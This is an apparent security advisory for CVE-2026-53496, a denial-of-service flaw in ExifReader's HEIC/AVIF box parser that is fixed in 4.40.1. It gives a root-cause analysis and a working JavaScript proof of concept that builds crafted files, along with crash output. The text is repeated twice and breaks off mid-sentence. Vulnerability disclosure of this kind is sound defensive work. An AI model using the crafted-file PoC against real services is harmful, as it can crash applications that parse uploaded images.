CVE-2026-53496

ExifReader is a JavaScript Exif information parser. Prior to 4.40.1, ExifReader.load() and the asynchronous file and URL loaders can pass attacker-supplied HEIC or AVIF data to the ISO-BMFF parser in src/image-header-iso-bmff.js, where findMetaBox() and parseBox() accept an eight-byte box header without confirming that fields required by the parsed box remain in the DataView. A valid ftyp box followed by an empty free or unknown box can cause an unchecked full-box version read, while a truncated extended-size box can make getBoxLength() and hasEmptyHighBits() read absent size fields. The resulting RangeError escapes the main parsing path and can abort an application request or worker when parse errors are not defensively caught, causing denial of service. This issue is fixed in version 4.40.1.

ExifReader is a JavaScript Exif information parser. Prior to 4.40.1, ExifReader.load() and the asynchronous file and URL loaders can pass attacker-supplied HEIC or AVIF data to the ISO-BMFF parser in src/image-header-iso-bmff.js, where findMetaBox() and parseBox() accept an eight-byte box header without confirming that fields required by the parsed box remain in the DataView. A valid ftyp box followed by an empty free or unknown box can cause an unchecked full-box version read, while a truncated extended-size box can make getBoxLength() and hasEmptyHighBits() read absent size fields. The resulting RangeError escapes the main parsing path and can abort an application request or worker when parse errors are not defensively caught, causing denial of service. This issue is fixed in version 4.40.1.

Summary

ExifReader 4.40.0 can throw an uncaught RangeError: Offset is outside the bounds of the DataView while parsing crafted HEIC/AVIF files. The file only needs a valid leading ftyp box with a HEIC/AVIF major brand followed by a malformed ISO-BMFF box, such as an empty 8-byte free box or a truncated extended-size box.

This is reachable through the public ExifReader.load() API for in-memory buffers and through the async file/URL loaders when an application parses attacker-supplied images. In applications that do not wrap every parse in a defensive try/catch, a single uploaded or fetched image can abort the request/worker and cause a denial of service.

Credit requested: Yaohui Wang.

Affected version tested

• npm package: exifreader
• Version: 4.40.0
• Repository commit tested: 8cb0261a26b7d986955fe0a6780f076dcb7902e7

Root cause

The ISO-BMFF parser assumes that every top-level box with at least an 8-byte header also has enough bytes for the fields required by its parsed form. In src/image-header-iso-bmff.js:

• findMetaBox() calls parseBox(dataView, offset) while only checking that offset + 8 <= dataView.byteLength.
• parseBox() calls getBoxLength() and then unconditionally reads fields such as the full-box version byte for meta/iloc/iinf/idat boxes.
• getBoxLength() handles boxLength === 1 by calling hasEmptyHighBits(dataView, offset), which reads dataView.getUint32(offset + 8) without first checking that the 64-bit extended size field is present.

As a result, syntactically small or truncated boxes after a valid HEIC/AVIF ftyp box escape the format-detection catch blocks and throw from the main parsing path.

Reproduction

Run this from the repository root against the committed dist/exif-reader.js bundle:

const ExifReader = require('./dist/exif-reader.js');

function u32be(n) {
  return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function ascii(s) {
  return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content = []) {
  return [...u32be(8 + content.length), ...ascii(type), ...content];
}

for (const brand of ['heic', 'avif']) {
  for (const badBox of ['free', 'abcd']) {
    const bytes = Uint8Array.from([
      ...box('ftyp', ascii(brand)),
      ...box(badBox), // 8-byte box header with no content
    ]);

    try {
      ExifReader.load(bytes.buffer);
      console.log(`${brand}/${badBox}: no throw`);
    } catch (e) {
      console.log(`${brand}/${badBox}: ${e.name}: ${e.message}`);
      console.log(String(e.stack).split('\n').slice(0, 6).join('\n'));
    }
  }
}

Observed output on Node v23.11.0 with ExifReader 4.40.0:

heic/free: RangeError: Offset is outside the bounds of the DataView
RangeError: Offset is outside the bounds of the DataView
    at DataView.prototype.getUint8 (<anonymous>)
    at parseBox (.../dist/exif-reader.js:1:16513)
    at findMetaBox (.../dist/exif-reader.js:1:19032)
    at findOffsets (.../dist/exif-reader.js:1:19101)

heic/abcd: RangeError: Offset is outside the bounds of the DataView
avif/free: RangeError: Offset is outside the bounds of the DataView
avif/abcd: RangeError: Offset is outside the bounds of the DataView

A second variant triggers the extended-size path:

const truncatedExtendedBox = [...u32be(1), ...ascii('free')];
const heic = Uint8Array.from([...box('ftyp', ascii('heic')), ...truncatedExtendedBox]);
ExifReader.load(heic.buffer);

That throws from hasEmptyHighBits() / getBoxLength() because the extended-size high/low fields are not present.

Expected behavior

Malformed/truncated metadata boxes should be handled like other malformed metadata in the project: return only the successfully parsed file type/metadata, return no app markers, or throw a controlled project-specific error. A safe JavaScript bounds error should not escape from the parser for an attacker-controlled image container.

Security impact

This is a denial-of-service…

ExifReader is a JavaScript Exif information parser. Prior to 4.40.1, ExifReader.load() and the asynchronous file and URL loaders can pass attacker-supplied HEIC or AVIF data to the ISO-BMFF parser in src/image-header-iso-bmff.js, where findMetaBox() and parseBox() accept an eight-byte box header without confirming that fields required by the parsed box remain in the DataView. A valid ftyp box followed by an empty free or unknown box can cause an unchecked full-box version read, while a truncated extended-size box can make getBoxLength() and hasEmptyHighBits() read absent size fields. The resulting RangeError escapes the main parsing path and can abort an application request or worker when parse errors are not defensively caught, causing denial of service. This issue is fixed in version 4.40.1.

ExifReader is a JavaScript Exif information parser. Prior to 4.40.1, ExifReader.load() and the asynchronous file and URL loaders can pass attacker-supplied HEIC or AVIF data to the ISO-BMFF parser in src/image-header-iso-bmff.js, where findMetaBox() and parseBox() accept an eight-byte box header without confirming that fields required by the parsed box remain in the DataView. A valid ftyp box followed by an empty free or unknown box can cause an unchecked full-box version read, while a truncated extended-size box can make getBoxLength() and hasEmptyHighBits() read absent size fields. The resulting RangeError escapes the main parsing path and can abort an application request or worker when parse errors are not defensively caught, causing denial of service. This issue is fixed in version 4.40.1.

Summary

ExifReader 4.40.0 can throw an uncaught RangeError: Offset is outside the bounds of the DataView while parsing crafted HEIC/AVIF files. The file only needs a valid leading ftyp box with a HEIC/AVIF major brand followed by a malformed ISO-BMFF box, such as an empty 8-byte free box or a truncated extended-size box.

This is reachable through the public ExifReader.load() API for in-memory buffers and through the async file/URL loaders when an application parses attacker-supplied images. In applications that do not wrap every parse in a defensive try/catch, a single uploaded or fetched image can abort the request/worker and cause a denial of service.

Credit requested: Yaohui Wang.

Affected version tested

• npm package: exifreader
• Version: 4.40.0
• Repository commit tested: 8cb0261a26b7d986955fe0a6780f076dcb7902e7

Root cause

The ISO-BMFF parser assumes that every top-level box with at least an 8-byte header also has enough bytes for the fields required by its parsed form. In src/image-header-iso-bmff.js:

• findMetaBox() calls parseBox(dataView, offset) while only checking that offset + 8 <= dataView.byteLength.
• parseBox() calls getBoxLength() and then unconditionally reads fields such as the full-box version byte for meta/iloc/iinf/idat boxes.
• getBoxLength() handles boxLength === 1 by calling hasEmptyHighBits(dataView, offset), which reads dataView.getUint32(offset + 8) without first checking that the 64-bit extended size field is present.

As a result, syntactically small or truncated boxes after a valid HEIC/AVIF ftyp box escape the format-detection catch blocks and throw from the main parsing path.

Reproduction

Run this from the repository root against the committed dist/exif-reader.js bundle:

const ExifReader = require('./dist/exif-reader.js');

function u32be(n) {
  return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function ascii(s) {
  return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content = []) {
  return [...u32be(8 + content.length), ...ascii(type), ...content];
}

for (const brand of ['heic', 'avif']) {
  for (const badBox of ['free', 'abcd']) {
    const bytes = Uint8Array.from([
      ...box('ftyp', ascii(brand)),
      ...box(badBox), // 8-byte box header with no content
    ]);

    try {
      ExifReader.load(bytes.buffer);
      console.log(`${brand}/${badBox}: no throw`);
    } catch (e) {
      console.log(`${brand}/${badBox}: ${e.name}: ${e.message}`);
      console.log(String(e.stack).split('\n').slice(0, 6).join('\n'));
    }
  }
}

Observed output on Node v23.11.0 with ExifReader 4.40.0:

heic/free: RangeError: Offset is outside the bounds of the DataView
RangeError: Offset is outside the bounds of the DataView
    at DataView.prototype.getUint8 (<anonymous>)
    at parseBox (.../dist/exif-reader.js:1:16513)
    at findMetaBox (.../dist/exif-reader.js:1:19032)
    at findOffsets (.../dist/exif-reader.js:1:19101)

heic/abcd: RangeError: Offset is outside the bounds of the DataView
avif/free: RangeError: Offset is outside the bounds of the DataView
avif/abcd: RangeError: Offset is outside the bounds of the DataView

A second variant triggers the extended-size path:

const truncatedExtendedBox = [...u32be(1), ...ascii('free')];
const heic = Uint8Array.from([...box('ftyp', ascii('heic')), ...truncatedExtendedBox]);
ExifReader.load(heic.buffer);

That throws from hasEmptyHighBits() / getBoxLength() because the extended-size high/low fields are not present.

Expected behavior

Malformed/truncated metadata boxes should be handled like other malformed metadata in the project: return only the successfully parsed file type/metadata, return no app markers, or throw a controlled project-specific error. A safe JavaScript bounds error should not escape from the parser for an attacker-controlled image container.

Security impact

This is a denial-of-service…